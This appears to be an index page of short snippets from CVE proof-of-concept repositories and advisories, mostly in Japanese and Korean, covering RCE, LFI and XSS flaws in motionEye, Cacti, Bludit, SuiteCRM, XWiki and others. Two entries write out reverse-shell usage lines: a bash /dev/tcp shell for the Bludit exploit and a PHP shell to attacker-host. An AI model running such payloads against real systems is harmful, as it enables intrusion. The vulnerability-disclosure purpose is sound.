CVE-2025-60787-POC

CVE-2025-60787 - motionEye 認証済みRCE motionEye = 0.43.1b4 における、サニタイズされていない motion 設定パラメータを介した認証済みリモートコード実行 著者: d3vn0mi 脆弱性概要 項目| 詳細 ---|--- CVE ID| CVE-2025-60787 CVSS スコア| 7.2 High タイプ| OS コマンドインジェクション CWE-78 影響を受けるバージョン| motionEye = 0.43.1b4 修正バージョン| 0.43.1b5 motionEye は imagefilename...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti CVE-2023-39362 명령 삽입 취약점 - PoC 이 저장소는 다음 저장소에서 포크되었습니다: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti는 오픈 소스 운영 모니터링 및 장애 관리 프레임워크로, 사용자 커뮤니티의 역동적인 요구를 충족하기 위해 지속적으로 발전하고 있습니다. 버전 1.2.24에서 CVE-2023-39362로 표시된 잠재적인 보안 취약점이 확인되었습니다. 특정 조건에서 인증된 권한 있는 사용자가...

CVE-2023-30854

WWBN Avideo 인증된 RCE - OS 명령 주입 CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; 관리자 패널의 사이트 복제 기능을 통해 $objClone-cloneSiteURL을 제어할 수 있습니다...

CVE-2022-23940

CVE-2022-23940 CVE-2022-23940에 대한 PoC, 일명 SCRMBT-187 - SuiteCRM= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 사용 예시: Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...

EUVD-2026-95132

In OpenStack Mistral through 23.0.0, several of the v2 API write paths resolve the target object with a query that can return another project's resource, then write to it. An authenticated project member can use this to rewrite and un-publish another project's public action definitions and...

CVE-2026-97147

The OpenStack Mistral service (through version 23.0.0 ) contains an incorrect authorization vulnerability in several v2 API write paths . The root cause is that these paths resolve target objects using a query that can return resources belonging to different projects, subsequently allowing unauth...

exploit-CVE-2020-5844

CVE-2020-5844 Pandora FMS v7.0NG.742 익스플로잇 - 원격 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 작성자 @UNICORDev 작성자: @NicPWNs 및 @Dev-Yeoj 취약점 설명 Pandora FMS v7.0 NG의 index.php?sec=godmode/extensions&sec2=extensions/filesrepo는 인증된 관리자가 악성 PHP 스크립트를 업로드하고, 파일 위치의 base64 디코딩을 통해 실...

CVE-2026-25964

CVE-2026-25964 PoC - Tandoor Recipes 認証済みLFI レシピインポートを介した認証済みローカルファイル開示の概念実証 開示情報: GHSA-6485-jr28-52xx を通じて私が最初に報告 ⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。 脆弱性情報 フィールド| 値 ---|--- CVE ID| CVE-2026-25964 深刻度| 🟡 中 CVSSスコア| 4.9 CVSSベクター| CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N CWE| CWE-22:...

CVE-2026-107335

The Malcolm platform is vulnerable to a data amplification issue due to improper handling of highly compressed data in the scripts/safe-extract.py upload-processing pipeline. While the system enforces limits on container archives (like zip, tar, rar, and 7z), it fails to apply these limits to sin...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 인증 RCE 사용법 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 예제...

CVE-2026-1953

CVE-2026-1953 | 保存型XSS — Nukegraphic CMS v3.1.2 概要 Nukegraphic CMS v3.1.2 には、保存型クロスサイトスクリプティング（XSS） の脆弱性が存在します。 この問題により、認証済みユーザーが プロフィール名 フィールドに悪意のあるJavaScriptを注入でき、その内容はバックエンドデータベースに保存され、CMS全体で名前が表示される場所で自動的に実行されます。 製品: Nukegraphic CMS バージョン: v3.1.2 脆弱性タイプ: 保存型XSS（CWE-79） CVSS v3.1: 8.1（高） ベクター:...

CVE-2026-36340

CVE-2026-36340 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 Krayin CRM v2.1.5におけるリモートコード実行（RCE）の脆弱性 CVE: CVE-2026-36340 深刻度: 重大（Critical） 影響を受ける製品: Krayin CRM v2.1.5 脆弱性の種類: リモートコード実行（RCE） 認証の必要性: あり 概要 Krayin CRM v2.1.5 には、重大なリモートコード実行（RCE）の脆弱性が存在します。...

CVE-2026-34036

CVE-2026-34036 CVE-2026-34036 の概念実証スクリプト。Dolibarr における認証済みローカルファイルインクルージョン / LFI です。 この問題は core/ajax/selectobject.php を介して到達可能です。認証済みユーザーは objectdesc パラメータを悪用して、サーバー上の任意のローカルファイルをアプリケーションに読み取らせることができます。 このリポジトリには、Dolibarr にログインし、脆弱なエンドポイントをトリガーして、要求されたファイルの内容を出力するシンプルなスクリプトが含まれています。...

CVE-2026-33229

CVE-2026-33229 — Apache Velocity サンドボックス回避による XWiki RCE XWiki Platform におけるリモートコード実行の脆弱性です。スクリプト権限を持つ認証済みユーザーが、Velocity コンテキスト内に既に存在する事前インスタンス化されたオブジェクトを走査することで、Java Reflection を一切必要とせずに Apache Velocity サンドボックスを完全に回避できます。 📄 完全な技術詳細: youssefazefzaf.com/posts/cve 詳細 フィールド| 値 ---|--- CVE ID|...

CVE-2025-60378

CVE-2025-60378: RISE Ultimate Project Manager & CRM における保存型HTMLインジェクション ⚠️ セキュリティアドバイザリ 請求書、メッセージング、自動通信に影響を与える重大な保存型HTMLインジェクションの脆弱性 -ff6600 📋 概要 RISE Ultimate Project Manager & CRM...

exploit-CVE-2026-2670

exploit-CVE-2026-2670 CVE-2026-2670 – Advantech WISE-6610 コマンドインジェクション PoC Advantech WISE-6610 産業用セルラールーターにおけるコマンドインジェクション脆弱性を実証する概念実証エクスプロイトです。 この脆弱性は /cgi-bin/luci/admin/openvpnapply エンドポイントに存在し、認証済み攻撃者 が任意のシステムコマンドを実行できるようになります。 📌 脆弱性の概要 WISE-6610 の Web インターフェースは、OpenVPN 設定の削除処理時に deletefile...

Weblate-CVE-2026-24126

Weblate — SSHホスト引数インジェクションによる任意ファイル読み取り 発見者: Alejandro Baño · 2026年1月 謝辞: Weblate 5.16 リリースノート 概要 WeblateのSSHホストキー管理エンドポイントは、認証済み管理者が指定したhostパラメータを、サニタイズや引数検証を一切行わずに直接ssh-keyscanへ渡します。ssh-keyscanは-f...

CVE-2024-57487-and-CVE-2024-57488

オンラインカー・レンタルシステムの脆弱性 このリポジトリには、Code-Projects Online Car Rental System プロジェクト バージョン 1.0 で特定された脆弱性の詳細が含まれています。これらの脆弱性には CVE が割り当てられており、問題の理解と緩和に役立つ包括的なライトアップが含まれています。 脆弱性 1. ファイルアップロードによるリモートコード実行（認証済み） CVE-ID: CVE-2024-57487 説明: この脆弱性により、認証済みの攻撃者が悪意のある PHP ファイルをアップロードし、サーバー上でリモートコマンド実行を可能にします。...

CVE-2026-23885

セキュリティアドバイザリ: CVE-2026-23885 AlchemyCMSにおける認証済みリモートコード実行（RCE） 1. エグゼクティブサマリー AlchemyCMSフレームワークにおいて、動的評価コードにおけるディレクティブの不適切な無害化（CWE-95） に関わる重大なセキュリティ脆弱性が発見されました。この脆弱性により、管理者権限を持つ認証済みユーザーが、eval インジェクションシンクを介して、ホストサーバー上で任意のRubyコードおよびシステムコマンドを実行できる可能性があります。 2. 技術的脆弱性分析 脆弱なコンポーネント ファイル:...